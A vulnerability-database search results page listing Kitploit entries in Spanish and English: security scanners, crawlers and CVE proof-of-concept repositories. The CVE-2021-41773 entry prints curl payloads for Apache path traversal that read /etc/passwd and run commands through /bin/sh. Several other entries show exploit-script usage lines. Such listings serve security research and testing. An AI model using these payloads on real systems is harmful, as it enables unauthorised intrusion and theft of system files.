Lucene search
+L

112589 matches found

Kitploit
Kitploit
added 2026/09/14 3:13 a.m.4 views

plution

plution Escáner de contaminación de prototipos usando Chrome headless Qué es esto Plution es una forma conveniente de escanear a gran escala páginas que son vulnerables a la contaminación de prototipos del lado del cliente mediante un payload en la URL. En la configuración predeterminada, usará u...

5.9AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/14 3:13 a.m.32 views

plution

plution Prototype pollution scanner using headless chrome What this is Plution is a convenient way to scan at scale for pages that are vulnerable to client side prototype pollution via a URL payload. In the default configuration, it will use a hardcoded payload that can detect 11 of the cases...

5.6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/14 3:11 a.m.6 views

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 inyección de comandos. El paquete pdfkit es vulnerable a la inyección de comandos cuando la URL no está correctamente sanitizada. Nota: Este problema fue corregido en 0.8.7.2, pero se descubrió que el parche era ineficaz. La versión de parche...

9.8CVSS8.1AI score0.42961EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/14 2:55 a.m.625 views

ghauri

Like Ghauri, consider supporting the developer...

5.4AI score
SaveExploits0References5
Kitploit
Kitploit
added 2026/09/14 2:40 a.m.7 views

CVE-2022-44215

Introducción Se ha descubierto una nueva vulnerabilidad que afecta al servidor web Titan FTP, catalogada como CVE-2022-44215. Titan FTP es un software comercial creado por South River Technologies que implementa el protocolo FTP para compartir archivos. En su versión HTTPS 19.X y anteriores, se h...

6.1CVSS6.4AI score0.00877EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/14 2:39 a.m.8 views

compaXSS

CompaXSS Bypass XSS Reflected Cross-site scripting ======= root@kitploit: Example: python compaxss.py --url https://support.snapchat.com/login?next=-run Developers Jose Pino - @jofpin Juan Eljach - @juaneljach...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/14 2:31 a.m.7 views

url-tracker

URL Tracker v0.5.0 URL Tracker is a robust and scalable web application designed to monitor and track URLs, log changes, and provide detailed insights into the status and behavior of various web resources. Built on top of Sails.js, this application is perfect for tracking URLs for uptime, content...

5.9AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/14 2:27 a.m.7 views

CVE-2021-37580

CVE-2021-37580 CVE-2021-37580 Ayuda python CVE-2021-37580.py http://1.1.13.1...

9.8CVSS8.1AI score0.41851EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/14 2:26 a.m.7 views

CVE-2024-4956

CVE-2024-4956 - Path Traversal no autenticado en Nexus Repository Manager 3 Nexus Repository Manager es un gestor de repositorios que organiza, almacena y distribuye artefactos necesarios para el desarrollo. Se ha descubierto una vulnerabilidad de path traversal en Nexus Repository 3, en versione...

7.5CVSS7.7AI score0.18245EPSS
SaveExploits16References1
Kitploit
Kitploit
added 2026/09/14 2:26 a.m.8 views

CVE-2023-32315-EXPLOIT

CVE-2023-32315 - Bypass de Autenticación en Openfire Este repositorio destaca un problema de seguridad grave que afecta a varias versiones de Openfire. Openfire, un servidor de colaboración en tiempo real multiplataforma que utiliza el protocolo XMPP desarrollado por la comunidad Ignite Realtime,...

8.6CVSS7.8AI score0.99999EPSS
SaveExploits15
Kitploit
Kitploit
added 2026/09/14 2:18 a.m.8 views

cve-2021-41773

cve-2021-41773 Vulnerabilidad de Path Traversal CVE-2021-41773 en Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Síguenos Vulnmachines...

9.8CVSS8.1AI score0.99992EPSS
SaveExploits165
Kitploit
Kitploit
added 2026/09/14 2:11 a.m.166 views

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

5.6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/14 2:10 a.m.5 views

drupal-openai-provider-ssrf-cve-2026-13233

Drupal OpenAI Provider — SSRF / lectura de archivos locales mediante la URL de la respuesta CVE-2026-13233 Upstream no confiable: el proveedor que descargó la URL que su propia respuesta le indicaba. Drupal OpenAI Provider aiprovideropenai · SSRF CWE-918 · CVE-2026-13233 · SA-CONTRIB-2026-053...

3.3CVSS5.9AI score0.00208EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/14 1:54 a.m.74 views

katana

A next-generation crawling and spidering framework Features • Installation • Usage • Scope • Config • Filters • Join Discord Features Fast And fully configurable web crawling Standard and Headless mode JavaScript parsing / crawling Customizable automatic form filling Scope control - Preconfigured...

6.5AI score
SaveExploits0References9
Kitploit
Kitploit
added 2026/09/14 1:50 a.m.9 views

url-status-checker

Comprobador de Estado URL Status Checker v2.1 Comprobador de Estado es un script de Python que verifica el estado de una o varias URLs/dominios y los categoriza según sus códigos de estado HTTP. Versión 2.1.0 Características Verificar el estado de una o varias URLs/dominios. Solicitudes HTTP...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/14 1:39 a.m.9 views

s3dns

S3DNS s3dns es un servidor DNS ligero que ayuda a descubrir buckets de almacenamiento en la nube AWS S3, Google Cloud Storage y Azure Blob resolviendo solicitudes DNS, rastreando CNAMEs y coincidiendo con patrones conocidos de URLs de buckets. Es un compañero útil para pentesters , cazadores de...

6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/14 1:37 a.m.8 views

CVE-2024-0012-poc

Más PoC en https://pc.fenchuan8.com//index?forum=101158&yqm=DGR4X Al ejecutar el código, puede haber tiempos de espera dependiendo del entorno de red; ajuste el tiempo de timeout según sea necesario. Detección masiva: python poc.py -f url.txt Detección individual: python poc.py -u https://your-ip...

9.8CVSS8.3AI score0.99718EPSS
SaveExploits15
Kitploit
Kitploit
added 2026/09/14 1:34 a.m.6 views

CVE-2026-51564

CVE-2026-51564 Security Advisory for CVE-2026-51564 Description An issue in the redirect parameter in Milk admin =0.9.8 allows remote attackers to redirect users to arbitrary external URLs via a crafted request. Affected Components: App/Route.php, publichtml/index.php Mitigation At the time of...

4.9CVSS5.8AI score0.00436EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/14 1:33 a.m.9 views

qsreplace

qsreplace Acepta URLs desde stdin, reemplaza todos los valores de la cadena de consulta con un valor proporcionado por el usuario, solo genera cada combinación de parámetros de cadena de consulta una vez por host y ruta. Uso Archivo de entrada de ejemplo: root@kitploit: ▶ cat urls.txt...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/14 1:31 a.m.10 views

xurlfind3r

xurlfind3r xurlfind3r es una utilidad de línea de comandos diseñada para descubrir URLs de un dominio de manera simple y eficiente. Funciona recopilando información de una variedad de fuentes pasivas, lo que significa que no interactúa directamente con el objetivo sino que recopila datos que ya...

6.1AI score
SaveExploits0References9
Rows per page
Query Builder